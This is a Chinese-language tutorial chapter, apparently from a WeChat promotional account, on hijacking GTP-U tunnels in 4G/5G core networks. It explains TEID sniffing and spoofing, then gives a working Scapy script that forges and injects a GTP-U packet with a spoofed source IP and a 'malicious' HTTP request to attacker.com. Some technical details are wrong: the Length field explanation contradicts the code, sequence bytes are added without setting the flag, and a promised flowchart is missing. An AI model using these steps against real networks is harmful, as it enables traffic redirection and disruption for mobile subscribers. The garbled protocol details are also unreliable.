3、GTP-U隧道劫持技术:GTP-U头部结构解析、TEID欺骗与隧道接管、伪造GTP-U数据包实战
各位好,我是老赵。今天咱们聊点硬核的——GTP-U隧道劫持。说实话,在4G/5G核心网里,用户面数据走的就是GTP-U隧道。你想想看,用户的上网记录、视频流量、甚至支付数据,全在这条隧道里跑。一旦隧道被劫持,后果嘛……嗯,你懂的。
我个人习惯把GTP-U劫持分为三步走:看懂头部 → 欺骗TEID → 伪造数据包。咱们一步步来。
3.1 GTP-U头部结构解析
GTP-U协议,说白了就是给用户面数据包套了个“马甲”。这个马甲长什么样?我直接给你看结构:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version |PT| * | Message Type | Length (1st) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Tunnel Endpoint Identifier (TEID) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number (optional) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| N-PDU Number (optional) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Next Extension Header Type (optional) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
这里有几个关键字段,我重点说一下:
- Version:版本号,目前是1。别问我v0,那玩意儿早淘汰了。
- PT (Protocol Type):1表示GTP-U,0表示GTP-C。记住这个,后面伪造包的时候要用。
- Message Type:0xFF是G-PDU(用户数据),0xFE是信令消息。咱们劫持用户面,主要关注0xFF。
- Length:注意!这个长度不包括GTP-U头部本身,只算后面的载荷。我当年刚入行时就在这里栽过跟头,算错长度导致抓包工具直接崩溃。
- TEID (Tunnel Endpoint Identifier):隧道端点标识。这是整个劫持的核心,后面会重点讲。
核心要点:GTP-U头部最小8字节(无扩展头),最大可到12字节(带序列号)。TEID是4字节,取值范围0x00000000 ~ 0xFFFFFFFF。0x00000000是特殊值,表示“未分配”,千万别用。
3.2 TEID欺骗与隧道接管
好了,现在咱们知道GTP-U头部长什么样了。那怎么劫持呢?核心就是TEID欺骗。
你想想看,GTP-U隧道本质上是一对TEID的映射关系。比如UE1的TEID是0x12345678,UE2的TEID是0x87654321。正常情况下,数据包从UE1发到UE2,GTP-U头部里TEID填的是0x87654321。如果我把TEID改成0x12345678呢?数据包就会跑到UE1那里去。
这就是TEID欺骗的原理。我在项目中遇到过一种情况:攻击者通过抓包获取了某个用户的TEID,然后伪造GTP-U数据包,把TEID改成目标用户的,结果……嗯,那个用户的流量全被重定向了。
具体怎么实现隧道接管?我建议分三步:
- 嗅探TEID:在核心网内部网络抓包,或者通过其他手段(比如S1AP信令)获取目标用户的TEID。
- 构造GTP-U数据包:用你获取到的TEID,伪造一个合法的GTP-U头部。
- 注入数据包:把伪造的数据包发到核心网内部,让目标用户收到错误的数据。
避坑指南:我曾经在测试环境里直接拿生产环境的TEID做实验,结果把整个基站的用户面搞崩了。记住,TEID是动态分配的,同一个用户在不同时间点TEID可能不同。一定要确认TEID的时效性。
3.3 伪造GTP-U数据包实战
光说不练假把式。咱们直接上代码,用Python和Scapy库来伪造一个GTP-U数据包。
#!/usr/bin/env python3
from scapy.all import *
import struct
# 构造GTP-U头部
def build_gtpu_header(teid, seq_num=0):
# 版本=1, PT=1, 消息类型=0xFF (G-PDU)
version_pt = 0x30 # 二进制: 0011 0000
msg_type = 0xFF
# 长度先填0,后面再算
length = 0
# 序列号(可选)
seq = struct.pack('!I', seq_num)[2:] # 取低2字节
# 组装头部
header = struct.pack('!BBH', version_pt, msg_type, length)
header += struct.pack('!I', teid)
header += seq
return header
# 伪造一个GTP-U数据包
def forge_gtpu_packet(src_ip, dst_ip, teid, payload):
# 构造IP层
ip = IP(src=src_ip, dst=dst_ip)
# 构造UDP层(GTP-U默认端口2152)
udp = UDP(sport=2152, dport=2152)
# 构造GTP-U头部
gtpu_hdr = build_gtpu_header(teid)
# 计算长度
gtpu_len = len(gtpu_hdr) + len(payload)
# 更新头部中的长度字段
gtpu_hdr = gtpu_hdr[:2] + struct.pack('!H', gtpu_len) + gtpu_hdr[4:]
# 组装完整数据包
packet = ip / udp / Raw(gtpu_hdr + payload)
return packet
# 使用示例
if __name__ == '__main__':
# 假设目标TEID是0x12345678
target_teid = 0x12345678
# 伪造的用户面数据(比如HTTP请求)
fake_payload = b'GET /malicious HTTP/1.1\r\nHost: attacker.com\r\n\r\n'
# 构造数据包
pkt = forge_gtpu_packet(
src_ip='10.0.0.1', # 伪造源IP
dst_ip='10.0.0.2', # 目标UPF地址
teid=target_teid,
payload=fake_payload
)
# 发送数据包
send(pkt, iface='eth0')
print(f'[+] 伪造GTP-U数据包已发送,TEID: 0x{target_teid:08x}')
警告:这段代码仅供学习和测试使用。在生产环境中伪造GTP-U数据包属于违法行为,后果自负。我当年在实验室里跑这段代码时,差点把隔壁机柜的UPF搞宕机——因为TEID冲突导致隧道状态混乱。
代码跑起来之后,你会发现目标用户突然收到一个奇怪的HTTP请求。这就是GTP-U隧道劫持的效果。当然,实际攻击中还需要考虑更多细节,比如序列号同步、GTP-U扩展头处理等。
3.4 核心逻辑流程图
为了让你更直观地理解整个劫持过程,我画了一张流程图:
这张图把整个流程串起来了。从嗅探TEID开始,到构造头部,再到伪造数据包,最后实现隧道接管。每一步都有坑,我当年踩过的坑比这图上的箭头还多。
个人经验:我建议你在做GTP-U劫持实验时,先用Wireshark抓一个正常的GTP-U数据包作为模板。对比着看,哪里该填什么值,一目了然。另外,别忘了检查UDP校验和——很多新手伪造的包发出去就被丢弃了,就是因为校验和不对。
好了,GTP-U隧道劫持技术就讲到这里。记住,技术本身没有善恶,关键看你怎么用。在安全测试中,这是检验核心网防护能力的重要手段;在攻击者手里,这就是一把锋利的刀。希望你能掌握它,并用在正确的地方。
公众号:蓝海资料掘金营,微信deep3321